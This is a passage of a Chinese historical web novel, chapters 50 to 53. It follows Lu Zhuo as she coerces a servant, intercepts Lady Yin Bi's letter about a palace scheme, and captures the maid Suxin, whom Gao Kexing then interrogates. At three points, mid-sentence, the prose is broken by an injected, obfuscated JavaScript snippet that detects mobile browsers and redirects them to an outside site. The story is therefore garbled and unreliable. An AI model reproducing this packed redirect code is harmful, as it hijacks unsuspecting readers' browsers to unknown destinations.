“他也不过堂，叫手底下人把刘赖皮的官服扒了，扒了就扔地上，让万民踩，刘赖皮赤条条的，也不给他躲，也不给他跑，咱们的青天大老爷，就安安稳稳的坐着，笑眯眯跟咱们说‘百姓的债，百姓自己讨’” 高克行忽觉一阵寒气袭来，异样而熟悉的感受攀上心头。 “后来？” “后来当然是把刘赖皮扔到百姓堆里了！大家伙七手八脚，都上去打，我那亲家还扯了他一片头发回来给我看，说是刘赖皮都不成人形了！青天大老爷给咱们做了主，又把地主们吞的地契都烧了，依着黄册，谁家的地，给谁家重新置地契，你说痛不痛快！是不是天大的喜事！” 的确是喜事。 可高克行就是止不住的一阵恶寒，他问： “这个大官，叫什么？” 此言一出，婆子歪头忖了片刻，随即一乐，更欢快道： “说起这事儿，还怪有意思，你说，那么大的官，怎么起了个‘陈阿猫’这种怪名字。” 高克行胸中有一口气猛地向下坠去。 的确是天大的官，天大的喜事。 堂堂东厂理刑，天高皇帝远地跑到青州来，在足以动摇圣心的钦案里，装进去一粒沙子。 他要给这粒沙子作伪，为涉案之人的名单里缘何多出来刘知县这么一位人物而苦心去向圣上解释，他是为了收买人心吗？ 可自古，从没听说过阉宦收买百姓的心。若是为了公道，他才刚在雅集上做了件极其有违公道的事。 此人到底在想什么？ 他替天家行事，却没打着圣上的旗号，还留下个假名字，可见他不为名。 此事又完全无利可图，刘知县纵然巨贪，可他的家私跟权宦们手指缝里落下来的实在都没得可比。 甚至拿办一个知县，震慑不住任何人。 他到底为的是什么？又为何自相矛盾？ 说他憎恨清流虚伪，却又实心为百姓着想吗？ 那岂不是笑话？他身处之地，只能媚上，根本没有为百姓效劳的余地。 若为他自己，他身兼镇抚使与理刑，常年在京，怎么会与一个蝇营狗苟的小官有仇？ 或是取乐？难道大动干戈地惩处一个知县，也是一件乐事吗？有人会为了找乐子做到如此程度吗？ 婆子对此全然不知，仍将“青天大老爷”几个字念叨良久，她无力报答天上，只得将这份狂喜与境况相同者分享，乃至于将自己 因天官所得的恩惠具象为肥鸡肥鸭，与众同乐，如此，好像报答了那位青天大老爷一般。 可这青天大老爷，并不为她。 既然君子论迹不论心，高克行该称赞陈星霜才是，该为他拊掌叫好才是。 可陈星霜的心，真是君子之心吗？或者说，真是人心吗？ 50.一封家书 鹿啄穿街而过。 这一条街上，多是前店后住的瓦房和杂院，屋檐参差，墙体剥脱，碎石和黄土夯出的地面上，往来行人踏过，晴天扬灰，雨天积水。 平素这时候街上已很嘈杂，今日更甚，不少人脸上都露着喜色。 然一切喧嚣与鹿啄无关，她穿过街巷，直奔高府。 比起去牙行里买个不知底细的小厮，她有更好的人选能替她到窑子里办事。 不多时，鹿啄已到了高府外墙根下，她翻身上墙，沿墙头疾驰至接着马厩的西侧灰瓦群房处。 高四儿住在这。 他已成家，理应携妻带子单住一间，但因他是从京中跟来的，家室都留在京城，为显得优待，此时仍是独住。 鹿啄从墙头上下来时，先闻到一阵浓烈的药味儿，继而看到了正独坐在门口等药的高四儿。 六日过去，他身上露在外头的伤口都结了痂，手腕脱臼也已接好了，可他的坐姿仍很别扭，应是被扔到深坑中时，尻骨受了伤， 尚未好全。 许是坐得久了，他有意起身活动一番，将才撑住地欲要发力，却忽然定住。 他面上的神色由平静转为惊惧交加，眼珠子在眼眶里飘忽不定，嘴唇也哆嗦起来，牙齿不住打战，随即，他两手一下脱了力，人向后仰倒，几乎是滚到地上。 滚倒还不算，本能驱使他拼命想要爬开，两手不断在地上抓握，边抓，嘴里还不断传来似幼犬呜咽般的哀呼。 然他手臂和腿上都有伤，看不见的地方，又有无数挫伤，一动弹就是钻心的疼，因而他爬得太慢，还没动弹两步，身前的光就叫鹿啄挡住了。 抖如筛糠的高四儿急忙蜷缩起来，头几乎埋进□□里，闷声传来。 “祖……祖宗，姑奶奶，主子！我真的什么都没说，我什么都没说，都是小的自己摔的，小的没跟别人提过您！一个字儿都没提 过啊！求主子饶命，饶小的一命！” 他预想自己该被一阵巨力攫起，再重重抛摔出去，可什么都没发生，鹿啄只是淡淡道： “知道。” 高四儿的眼泪瞬间滑落下来，连同股间一热，但他也顾不上羞耻，趁鹿啄并没动作，又挣扎着向后缩了缩。 只听鹿啄又道： “替我做件事。” 退后的动作一顿，高四儿愣住，好一阵功夫，他才回过神来，连滚带爬地翻起身来，转而跪在地上，头深深磕到土里，颤抖道： “祖宗在上，孙子全凭您的吩咐，您……您只要别动手，您是要我去咬谁？还是让我去杀谁？只要您吩咐，孙子没有二话，只是求您，求求您别动手。” 时至正午，他又独住，周遭没有旁人，鹿啄进来时已将左右邻房细致瞧过一遍，确信无人，便把龟奴的事儿隐去了何时何地，还 有与殷碧的挂碍，都与高四儿说了一遍。 这一番话不短，高四儿也逐渐平静下来，听后虽还对鹿啄十分畏惧，但已能说上整话了。 “孙子明白了，一定给祖宗办好，敢有半点差池，就把自己的舌头嚼了咽下去。” “我会在外头等。”鹿啄自上而下看着高四儿，将带着的银两拿出来，丢到高四儿面前。 这是高四儿未设想到的，他原以为这样的小事，鹿啄必定会让他拿钱，可鹿啄会做什么，他从来也不知道，今后也不敢猜。只能恭送鹿啄的身影又消失在墙下，才小心翼翼地将钱袋拢过来，犹如供奉般捧着，转身进屋。 那龟奴的名字和面貌，高四儿从未听闻过，可他所在的娼寮高四儿却知道。 此娼寮距高府数里路，乃一非官营私寮，然非熟客引荐，概不接迎。 初度光顾，鸨母会赠客七枚娼家私铸的铜钱。此后再去耍子，须至寮外墙根暗窗下，叩窗四声，将此七枚作为信物的铜钱递入，方有人引进。 鹿啄交代的事乍一听简单，龟奴毕竟不像娼姐一般值钱，可进这家私窠子却难。若是别人要他办，他必不涉险。 可现下只有硬着头皮，去向高克己的小厮借那七枚铜钱，若撞上时机，高克己不去时，此物在其小厮手中保管，那小厮一贯想要巴结高四儿，再使点钱，应当借的出。 入寮之法如此周折，其地又这般隐秘，鹿啄自然无从知晓。 她循着那龟奴日前所说的大致方位寻至左近，却寻不见那娼寮的入口。既见如此，她便想，不如趁高四儿到来前的功夫，先在街市上信步走走，顺手置办点吃食回去。 鹿啄并不知道高克行爱吃些什么。 他似乎吃什么都可以，这些日子来没抱怨过一句，也没说过想吃什么，甚至说，他干脆除了在写《啄蒙解译》外，很少有什么具体的行动和情绪。 这与鹿啄起初认识的高克行，并不是一个人。 只要周遭无人，他便十分安静，每日里除了写作、吃饭、睡觉，便是看鹿啄练功。偶尔问及啜狗山或武功的事，答与不答，他也都不再像起初那样费心周旋、算计答案了。 这是他承诺的，他如实做了。因而高克行现下在鹿啄心中，已有了十分可信。 于是他现下也登上了那个不应被牺牲的名单，可鹿啄不能像帮高克正那样，教他什么。 甚至到底该拿他怎么办，将他当成什么，鹿啄也不太能明确。 心中这般念头转过，鹿啄付钱买了十来个煮鸡蛋，她倒是还记得高克行连着两日到拱辰轩吃饭，都吃了煮鸡蛋。 卖煮鸡蛋的是个上了年纪的老伯，怕鹿啄揣着十余个鸡蛋会跌了，还特意给她捡了一只空着的筐子，正给她一个个往筐里头搁，正忙活着，鹿啄忽然看见一个人凑了上来。 是高四儿到了。 他头上有汗，应当跑得很急，或是伤口在疼。 鹿啄将鸡蛋接过来，付了钱，也没跟高四儿说话，一路走出街面，到了街角墙根下头，她才转回身来，问高四儿： “去多久？” 多久能从窑子里出来。高四儿缩着脖子，离鹿啄有一定距离，闻言立刻低头，答： “不敢叫祖宗多等，至多半个时辰。” “去。”鹿啄一抬下巴，“我就在此地。” 那头高四儿却没走，他悄悄递过一份东西，很薄，看着是书信。见鹿啄伸手接了，高四儿小心翼翼地赔笑，恨不得再磕两个响头以示尊重，半天才在自己脸上拾掇出个差不多的表情，道： “怕祖宗等着无趣，正巧孙子手上有这样东西，斗胆估摸了一下，祖宗可能愿意赏脸瞧瞧，祖宗要是有用，是孙子祖坟冒青烟， 要是没用，您抽在孙子脸上，孙子没二话。” 话虽如此，他却小瞧了自己给出东西的分量。 那是一封，殷碧写往京城的信。 此前在林中被鹿啄拷问，高四儿自然知道鹿啄与殷碧有血仇，实在的关系和情由他不清楚，但这些已足够他摸清向鹿啄表忠心的办法。 适逢此时，殷碧叫他送信。 他以自己伤未好全为由，拿信出来给殷碧找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150983|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信得过的脚力，也就有了机会出府，更可把仇家的音讯奉送给鹿啄，这是他的生存之道。 鹿啄未发一言，只抬手将高四儿遣走，待他离去，才拿剥皮刀启了信封。 两张信纸写满，前头是对青州雅集之事的概述，又及高雅英的遭遇，后续内容如下： 事既至此，伏乞兄长速请父修书返家，规劝妹婿勿行此事。 另，为娘娘备办之霞帔已俱妥，可请遣贵使于雅姐儿婚宴时过目。倘蒙俯允，待汐姐儿入宫之际，必当敬谨奉上。 若此事终难转圜，竟达天听，万望娘娘于御前善为说辞，并玉成高、殷两家之姻好。 则大局周全。 妹碧拜上。 “霞帔”二字，深深扎入鹿啄眼中。 她原以为高家子女正在筹备婚事，这霞帔必定是为高雅英准备的，没想到其后竟然还有一层。可为什么要进献霞帔？高汐英又以什么由头进宫，她全无头绪。 这些日子以来，高克行为她所书《啄蒙解译》，她会在睡前读过，已读到了本朝官制、礼教一则，所以对内廷事务多少有些许了解，她知道若非命妇、女官、秀女、宫婢，断难入宫，而高汐英不属于以上任一一类，但她能不能成为，还要问过高克行。 剩下的事很好理解，其一定是指高彦韬有意将雅集之事上书表奏，殷碧叫家中父亲以长辈身份出面阻止；其二是如果此事最终没能阻止，便要请那位即将接受奉献的娘娘给高雅英准备一条后路，即说服皇帝御赐指婚，使其嫁入殷家。 她倒是为女儿们盘算的都很好。 怪不得当日在高彦韬面前，她既无哭求，也无表态。 原来她从没指望过丈夫。 残害人命，犹自痴心妄想家族荣华，为那本不该有的前程百般算计。 既然如此，她必将亲眼目睹自己的夙愿尽数烟消云散，因她昔日全然不曾留意的微末之人，而身败名裂，终在孤苦无依中凄楚孤绝，孑然离世。 必有此业报。鹿啄此刻，已知何以为之。 鹿啄将心中计议梳理停当，何时当行何事，已大致有数。遂将信笺重新折好纳入封中，行至街面，寻了一位代写书信的先生，多付银钱，借他的纸笔亲手将信抄录副本，又把原本重现弥封。 她会揭裱，不起眼地启封原非难事，此番重新封缄，那信便与高四儿交到她手中时一般无二。 诸事已毕，鹿啄返身回到街角，高四儿已在此等候。 见鹿啄过来，他立即双手呈上，手中一契两状，钤有朱印，正是龟奴的身契不假。 龟奴多日不返，东家果然如高克行所料，猜那龟奴惹事逃亡，高四儿在这样的事儿上办得多，又油嘴滑舌一番说项，最终身契所费银两，比鹿啄带来的钱还有剩许多。 将剩余的钱也奉给鹿啄，高四儿又将自己是如何取得身契，如何与东家周旋，原原本本复述一遍，待鹿啄收回身契和银两，他仍滔滔不绝，正说道： “托姑奶奶的福，这事儿办得再顺当没有了！全是姑奶奶神机妙算，时辰掐得准呐！小的办妥就赶紧回来回禀差事。姑奶奶莫怪小的多嘴，回来时撞见一桩事，虽不大，却不敢不禀。” 他说着压低了声，透着股鬼祟。 “我临出门那会儿，窑子里关新姑娘的屋里头，猛地蹿出个人来，险些将我撞倒。我仔细一瞧——可了不得！您道是谁？” 鹿啄正欲转身，可高四儿的话已脱口而出： “竟是二少爷屋里的素馨！” 51.画地为囚 在鹿啄印象之中，素馨的面貌可用几个词概而言之。 诸如恬静、识字、自负、与高家仆婢有亲，仅此而已。 归根究底，她不在乎此人，也对她无甚情感，因逐娘的缘故，她知道流落风尘的女子是可怜的，但一把火烧尽天下的窑子和青 楼，也不是逐娘的生前夙愿，更不是眼下该绊住她脚步的意外。 但有一样，高克行说过，龟奴和叶孤萍的手下，之所以能在雅集之后截住他们，是因延晖阁内必有内应。 如果素馨就是那个内应呢？ 那一切岂不很顺理成章？ 如若真是如此，她作为高克己的合谋，一定也能找出高克己现下所在。 几日前高克肃来时说过，高克己不知所踪，大房曾氏一问三不知，高彦邦更是连自己的亲生儿子也不了解，一味说他进学去了。 这一来，能走素馨这条路的话，就是最快拿住高克己的法子。 “她是谁卖进来的。” 鹿啄拧步回身，问高四儿。 后者今日一连给新认的主卖了两次好，正在得意，瞧着也没前头那么要死要活了，又是低眉顺目，躬身答道： “这要去问鸨母才知，姑奶奶想知道，小的就去走一遭。” “不。”鹿啄略一沉吟，道： “剩下的银子，买她出堂差，到这儿见我。” 出堂差，是鹿啄从那龟奴嘴里学到的新鲜事，既然殷碧能叫小官出来，自己为何不能叫素馨出来？ 但她毕竟只知道面上的，没想到新进窑子的姑娘按理不能轻易出堂，这事难办。 可高四儿急于显得自己有用，他已想好了一套说辞，又有不少剩下的银两，便没犹豫，即刻去办了。 时值日昃，天光西落，斜晖徐敛，沉入密鳞般的灰瓦群房之后，终没于市廛闾巷，那一片遍布前店后屋的街上，闃然四翳。 高克行将婆子制好的蒸鸭爊鸡又加了些不该加的佐料。 毕竟加正常佐料鹿啄不会吃，得有意调得难吃。 入口尝了，尺度得宜，大概是比先前稍好，但又比真正的好吃差上不少的滋味。如此循序渐进，兴许慢慢鹿啄能入口些不差的东西。 做完此番计较，高克行到屋内把《啄蒙解译》大致整理了一番，别的都还有数，只是竹纸要用尽了，无论婆子还是高克肃，得叫他们再带些过来。 正点着余下竹纸，就听门前一阵响动，这时日没有旁人，高克行放下纸迎到院中，就见鹿啄扛着个人走进来了。 高克行哑然失笑，对鹿啄道： “你说要买点吃的回来，却没想到有这么大，想好怎么料理了吗？” 鹿啄知道他是调笑，没接话，回身关了门，又到院中，把扛着的素馨放了下来，让她平躺在地上。 “哦，是素馨。”高克行走过来，看清了地上之人的容貌，“怎么抓住的？” 他语气平常，犹如鹿啄真是打猎回来。 此事说来话长，鹿啄又把鸡蛋都放进灶房里，才出来把今日之事都说了一遍，又把殷碧信件的副本递给高克行，等他逐字看完，方问： “高汐英怎么进宫？” 高克行双眉微蹙，咬着下唇，半晌，轻轻摇头： “不知，大概不是寻常的路子。” 这个答案大概不足以说服鹿啄，高克行又将信折好，与鹿啄在桌边相对而坐，才细说道： “本朝遴选后宫，无论秀女、宫婢乃至女官，皆有定例，向由礼部总责。这些女子，必是良家子，但其家世官爵不可过显。譬如 家父三品，品秩过高，无论是我的姐姐还是妹妹，都断无可能入选。纵使父亲或外祖向礼部施压，或奔走到哪个后宫娘娘门下，这出身来历终究难以遮掩，陛下也必不会允准。所以殷氏所行，一定是非常之法。” 鹿啄点头，心知那就是要算计了，只听高克行又道： “至于可行的法子，倒有一些，只是没有风声，随便猜测，并不稳妥。” 他对鹿啄毫无隐瞒，又言之有理，鹿啄也不纠缠，接着问： “那为何要入宫？” 这是个庞大的问题，高克行理了理头绪，道： “首先，你要知道为何过高品级的官家女子不能入宫，是因本朝皇帝皆忌惮外戚掌权，可外戚又实在是很想掌权，这样说你明白吗？” 因为很想掌权，所以要把女儿或亲戚想方设法的送入后宫，送到皇帝枕边，鹿啄能明白，可为什么是通过一个后宫妃子？她难道不该第一个不同意吗？ 如此想，鹿啄便如此问： “娘娘是谁？她为什么帮殷碧？” 高克行笑了，不由用两指在鹿啄眉心点了一下，道： “怎么问题越问越大？内廷娘娘多了，你问哪一个？我又从何得知她为何要帮殷碧呢？” 鹿啄竟没躲，由着他点自己的眉心，末了一皱鼻子，强道： “你知道。” 她今日的确气色很好，两颊逐渐丰润，原本做这个神态时十足的威胁去了七八，加之她本就没有威胁的意思，高克行更觉得鲜活可爱，又笑道： “内廷娘娘虽多，愿意帮殷氏，且能帮她的人，只有一个。” 说着，他将信件翻在桌上，一手轻叩，道： “陛下爱妾，贵妃荀氏。这位娘娘年事已高，与陛下感情甚笃，宠冠后宫三十余载，乃至后位为她虚悬十余载，可她却膝下无子，更全无再得子的冀望。” 鹿啄恍然大悟： “她想让别人帮她生孩子？” “理论上这事儿没有帮的。”高克行收手置于曲腿一侧的膝上，“但你作这样的想法也无错，一方求子，一方求富贵，就成了这样 的买卖，只是里面的好处都是殷家和娘娘的，或许陛下不计较，也算为他好，但陛下也已有六旬年纪，对舍妹来说，是桩可悲的 姻缘。” 妙龄豆蔻去配六旬老者，鹿啄不由也皱眉撇头，下意识要避开这桩生意，可回顾之下，却见地上的素馨已经醒了，正如活见鬼了一般望向这头。 她在窑子里受了苦，能看见的地方都有伤，发鬓是散的，衣裳也让人换过，松松垮垮，唯有脸还光洁一片，双目赤红。 但这些皮外伤抵不过她内心的震动，一日前在云端，一日后在地狱，不过如此。却不想地狱之外仍有地狱，她居然活生生瞧见将她弃若敝履的人露出那样的，几乎是真人才有的神色。 没错，高二少爷在她心中，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162055|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直是一个假人。 再精致高贵，也是刻意为之的；越漂亮生动，也越叫人作呕。 她向来是不把少爷们老爷们都当做主子来看，而是当做男人来看，她因男子的魅力和外在而勤勉奋发，终于进了二爷的院子，可短短两日，她便因此人面上的和气，心中的鄙薄看出，这并非一个有血有肉的真人。 在这样的看法之下，假人当然很恶心，不值得她筹谋，也不值得她争抢。 可现在居然让她知道，他不是假的？ 他也会真心实意地笑、他也会不厌其烦地为人开解疑问，他也会疼爱、偏袒，甚至为他人思量吗？ “姐姐受苦了。”高克行没动，仍坐着看她，自上而下，犹如任何事都没有变，“但冤有头，债有主，你不必如此看我。” 言下之意，我并非你的冤亲债主，可仅仅不是冤亲债主吗？实则此人心中，自己应该与他没有丝毫瓜葛吧。 素馨不由咬住下唇，眼神愈发怨怼，她本该静观其变，却还是抑制不住地开口问： “凭什么？”她勉力支起半个身子，“凭什么你将我视若蝼蚁，却对她有所不同？我们是一样的人，一样的身份，又凭什么我要有这样的下场！” 下场二字几乎是哭嚎出来的，素馨满眼是泪，却始终刻毒地望着高克行。 “凭什么你把我的东西送她，那是我的，有人能看出我的好，你便受不了，偏要把我的东西给更下等的人来羞辱我，要我看低自己，要我符合你心中的位置，本分的做丫头。凭什么？如若不是你先如此，我又怎么会……” “你好像很爱幻想。” 素馨想过自己可能会被高克行如此否定，却没成想，先说出这话的人是鹿啄，她不得不讶异，却只听鹿啄又道： “那是我的东西。” 那对枕顶，的确是鹿啄的东西，但素馨会如此作想，也并非全然没有道理，高克行接着道： “的确是她的，我物归原主而已，你就为了这个要跟高克己合起来杀我？” 素馨默然，似乎高克己这个名字已经伤了她，也似乎是她仍认为此二人在狡辩，执拗地相信全天下的事都与她相关，她所受委屈，定然是天下与她作对。 如若她一直抵抗，便很棘手，高克行正考量该提点她知道现下的处境，身侧鹿啄已经站了起来，走到素馨左近，半蹲下身子，从袖口中，掏出一方帕袋。 是绣着小鹿食草的帕袋。 “如果你还没忘。”鹿啄将帕袋凑近素馨，“两个纹样是相同的，都是我姐姐绣的。” 素馨自然没忘，她将枕顶视作受辱的证明，日思夜想，又及时间并未过去很久，一看之下，她便急道： “你撒谎！你一个穷丫头，全家都是穷命贱命，怎么有绣工如此了得的姐姐！定然是你偷的！” “住口！” 高克行立时起身，他疾言厉色，又是一番素馨全然没见过的样子，继而听他又道： “你是不是搞不清楚你现在的身份？你明白什么叫娼，什么叫囚吗？我可以让你一辈子为娼为囚。” 先前高克肃让鹿啄明白什么叫兄弟、主仆的时候，说过差不多的话，他们是兄弟，连发怒时都有些相似，可高克行是在为她的姐姐愤怒吗？ 52.轻薄儿，冶游郎 素馨明明白白地恨高克行。 恨他轻易的践踏和剥夺。 鹿啄看得出来。 但这始终是他们二人之间的事，不该又扯谁高谁低，是否公平。原本这世道就既没有对素馨公平过，也从未对鹿啄公平过。 其中道理，素馨能明白便可，不明白，鹿啄也无意与她说什么。她只是收回了帕袋，继而从腰间摸出了剥皮刀，手起刀落，沿着素馨的头顶，削下一缕头发。 素馨惊骇呼叫，鹿啄收刀，再次出手，用力捏合住她的下巴，让她吞下所有声音，才道： “随你怎么想，但不要再让我听到你说我的家人。” 接着，在素馨显得更加忧惧的眼神中，鹿啄又道： “我的东西，他不给我，我也会抢。” 那手上的力度已经提示素馨此言非虚，她唯有落泪，鹿啄最后的两个字落入耳中。 “我能。” 话毕，鹿啄放开素馨，由着她又倒在地上。 素馨无助地觉察到，她而今与鹿啄下场的分野，的确与谁高贵谁下贱无关，也与谁顺从谁反抗无关，而只是与能和不能有关。 她有太多不能了。 不能因饱读诗书就考取功名，不能因被轻薄被看低就奋起抵抗，更不能放下一切夙愿追求，不能对男子向她透出的倾慕熟视无睹。 有如此多的不能，她纵使反抗又如何？ 错就错在她一开始就将自己要能为的事情想岔了，就像始终在米缸中兜圈的老鼠，自觉吃得极饱，却从没想过要学着从困住她的米缸中翻出去。 的确，那枕顶是谁的已无所谓了，她早没什么尊严可言了，只是她在米缸里跌了一跤又一跤，全然忘了想想，自己一开始是怎么进到这缸里来的。 她根本就是，生在这缸中。 素馨的头贴着地，眼泪缓缓淌到地上，高克行无从得知她会想些什么，但她的确需要静心，遂绕过素馨，到厨房把菜取了出来，摆到桌上，又给鹿啄拿了碗筷。 鹿啄这才想起筐里的鸡蛋。 她给高克行指了指，道： “煮好的。” “你我现在活下去的法子就是当牲口吗？”高克行顺着她的手指看去，“太多了。” 多也要吃，否则必会更瘦更弱。 鹿啄将鸡蛋拿来放在桌上，让高克行无法忽略那只突兀的筐子，自己则对着鸡鸭皱眉。 高克行也许想错了，他也许以为自己是只想吃难吃的东西吧。 可她真正会吃的，是会被忽略的东西。 是不会留下痕迹，无法掩盖鹿坪存在证据的东西。 鸡鸭怎么掩盖？尤其这是下山来她第一次见到鸡鸭？ 连日来规律的进食和高克行不断平衡的手艺让她现在能准确的感知到自己会饿，这饿又让她不自觉想，为什么她会担心忘记姐姐，到了如此的地步，乃至于身旁有人不断揣测她的想法，她又不断在此事上跟他周旋。 猜来猜去，没完没了。 “我不会吃一些东西，是怕忘了我二姐做的菜。” 鹿啄突然对高克行道，后者正剥鸡蛋的手一顿。 “我二姐在山中为我们所有人做菜，十六年，我只吃过她做的东西。” 现在她死了，以后没人能再做出那个味道，鹿啄活得越久，便越会逐渐遗忘那个味道，连着二姐一起，也遗忘殆尽。 她鲜少一口气说这么多话，又如此剖白，高克行怎么会看不出，她想终结他在吃饭上为她花的心思，可高克行并没失落，他头也不抬，道： “如此很好，我还怕你专门爱吃刁钻难吃的东西。” 鹿啄不言，也拿了个煮鸡蛋在手上剥。 “可你的办法不顶用。” 说话间，高克行仍未看鹿啄，他继续道： “时日长了，你会记住一个死气沉沉的味道，日后所有关于进食的记忆，都只关于这死气沉沉的气息，你仍会忘记你二姐。” 并不，她只会更思念姐姐，她要的就是这样的思念。 鹿啄于是回忆起自己吃过的饭，可先跃入脑海的，的确都是冰冷的饼子和毫无滋味的冷淘。此后再去寻觅，才寻觅到二姐离开前的最后一顿饭。 那已经是一年前。 她缓缓睁大了眼睛。 “真想记住你姐姐，就要记住她的特别，好吃也很特别，无味也很特别，但人间烟火，随处可见，并不特别。” 高克行终于抬头，又将鸡鸭推到鹿啄面前。 “抱歉，怕你不吃，故意做得更差了一些，今后没有了。” 鹿啄转头，看着高克行。 她很不懂他，说起来她也根本不懂男子，因为她见得很少。 所以她总想问问： 为什么？ 与他何干？ 可他的每一个提议都有道理，都不让她委屈，她该回报同等的提议吗？或者回报别的？ 并不行，她心中没有那种余地。 或许至少因为他给出的总是自己想得到的，她也可以给一些他想要的。 而他想要的，现在，就是让她吃饭。 鹿啄拿起筷子，夹下一块爊鸡。 一顿饭用尽，无人再发一语。 饭后，两人又坐在桌前，不约而同地瞧着素馨。 素馨心中发毛，被当作空气也好，被疾言厉色也罢，都好过现下犹如待宰羔羊。 “想问便问吧。” 她咬牙道。 座上二人纹丝未动，半晌，鹿啄才瞥了高克行一眼，后者摇头长叹。 此事理应是他做，可这理应何尝不会害了鹿啄。真为她，就不该替她。 无奈他总存了在鹿啄面前逞才扬己的心，那对她尽责的念头，便时常被这求她青眼的想头压倒。他转而对素馨道： “不必说什么，只答我是与不是，若我对了一半错了一半，你便不答。” 人大凡追忆往事，总有修饰己过的积习。故可任她述说，其虽不至全盘说谎，却难免刻意扬己抑人，甚至隐去她自认并不紧要， 可对提问者至关重要的关节。此时，若只令她答是与不是，则虚实立辨，能确保所得答案，皆为己方所用。 “我离家后，不出一个时辰，高克己便到延晖阁寻你，无非是说心悦你已久，或你尚未入府就已经知晓你的芳名，倾慕不已，可苦于没有机会跟你相守。” 素馨大骇，这两样说辞兼而有之，几乎一字不差，她眼中闪烁，紧抿双唇，片刻后才道了个“是”字。 “若要跟你相守，便是对我的极大羞辱，我必定报复，让你们不能双宿双栖，甚至成了苦命鸳鸯，诸如此类，他用了不少说辞吓唬你，再加上编造我是如何如何发卖了我幼年时身侧伺候的丫鬟婢女，让你断定，我活，则尔等死。” 素馨闭了闭眼，又答“是。” “可现下有个大好的机会，他通过父亲的关系，结识了山东镇守太监，他故意告诉我万梓阙会进献假画，我必定当众揭穿，因此得罪太监，招致权珰显宦的报复，被其下狱折辱，到时就成了不肖子孙，再也干预不到你们二人。” 此言一出，连鹿啄也不禁回头，耳边又响起素馨答“是”的声音。 “但说不好，我这人是极奸诈狡猾的，万一我逃脱了，回来还是报复，所以必得确保我被抓被罚。你眼看登天的机遇就在眼前，高克己与你情笃，至少也要抬你为妾，所以你有意向高克己提供了我来回的路线和我会去锦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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高克行无须动刑，不必威吓，仅凭三推演，便将素馨的经历活画出来，连她瞧不见摸不着的心思也都洞见肺肝。鹿啄由是深知，这是更省事，更好用的利器，与骨柄剥皮刀的区别，只在于一个看得见，一个看不见。 她虽也为高克行的推演之能心下一惊，胸中却无半分警惕惧怕。 在山野间，有这么一个道理：两只同族狭路相逢，体量小的那只，定会伏低做小，退避三舍。 它们都能在山中活下来，必定各有各的本领，身形不占优的，多半倚仗机巧与狡智存身，而有智慧的第一要义，就是要知道避开无法抗衡的纯粹力量。 于高克行，此理亦然。 不知自己已被比作小动物的高克行不着痕迹地稍稍躲开鹿啄垂下的发丝，也小声道： “默而识之，学而不厌。得之于手而应之于心。这种事哪有死记硬背的。” 鹿啄哪儿读过什么《论语》《庄子》，她鼻翼微翕，预备秋后算账。 高克行轩眉弯唇，又转向素馨，道： “事败，高克己必然要处置你这个同谋，可他现下不能杀你，毕竟你的尸首不好处理，再不小心露出来，会更加棘手。但他也不会亲自将你卖了，那太显眼，于是他托自己的外室娘子，以你纠缠不休为由，指点她将你卖进了一个叫天天不应，叫地地不灵的私窠子。” 夜风过庭，涤尽泪腥，却吹动院中憎恨的波澜。 素馨忽轻笑出声，其声磔磔，良久不绝，直至她全身气力皆随之散尽。末了，她伏身及地，重重稽首，额抵冷地，道： “二爷所言，句句属实。” 压抑，颤抖的气息夹杂在苦涩的声调中。 “城南，铁井巷底，黑漆木门，那是他的窝。” 53.物归原主 未及高克行有什么反应，鹿啄已从原位上窜了起来，一般这预示着她即将腾空掠走，高克行立时出声拦她： “等等。” 抓住素馨，由素馨的证言推出高克己的藏身地，再去藏身地抓住高克己，鹿啄看不出这链条有何不对，便回身侧目，等高克行解 释。 “你就这样把我跟素馨留在这儿吗？一会儿她又想起来也挺恨我的，跳起来把我勒死怎么办？” 闻言，鹿啄横波一眄。素馨浑身都是伤，爬起来都费力，但高克行必定不为这个，她到现在尚不清楚为何他总时而冒出几句胡话，便只有无语片刻，才道： “我带她走。” 她刻意顺着他说，想将他的调笑堵死，可高克行话锋一转： “高克己读过书，也有学识，算有骨气，你抓他回来，严刑拷打，纵然他一时怕你，可要么他宁愿被你打死也不受辱，要么在你用他时咬你一口。” 从娼寮里回来后，素馨未醒之际，鹿啄便将高四儿的事也与高克行说了，包括此前她是如何认识的此人，又如何对付此人的。此 时高克行自然知道鹿啄要如法炮制，便又道： “对付高四儿的法子对他是不顶用的，他心智要坚定许多，知道你要干什么，更不可能打心里服你，因为在他眼中，你是生来就注定越不到他头上的人，再强横霸道，最多是个刁奴。” 为什么有人会这么想？ 鹿啄一时找不到可代入的情由，便蹙起眉，把不解摆在面上。 多日相处，高克行通过她的神色就知她不通这里头的关窍，便依着此前兔子的例子，给她讲： “你生而是人，兔子生而是兔子，你去捕兔，兔子将你咬伤，伤口久久不愈，创巨痛深，此事以后你再见兔子，是会怕它，还是 会杀它？” 鹿啄脱口而出：“杀。” 高克行以手支颐，笑而不语，神色间唯余“看吧”二字。 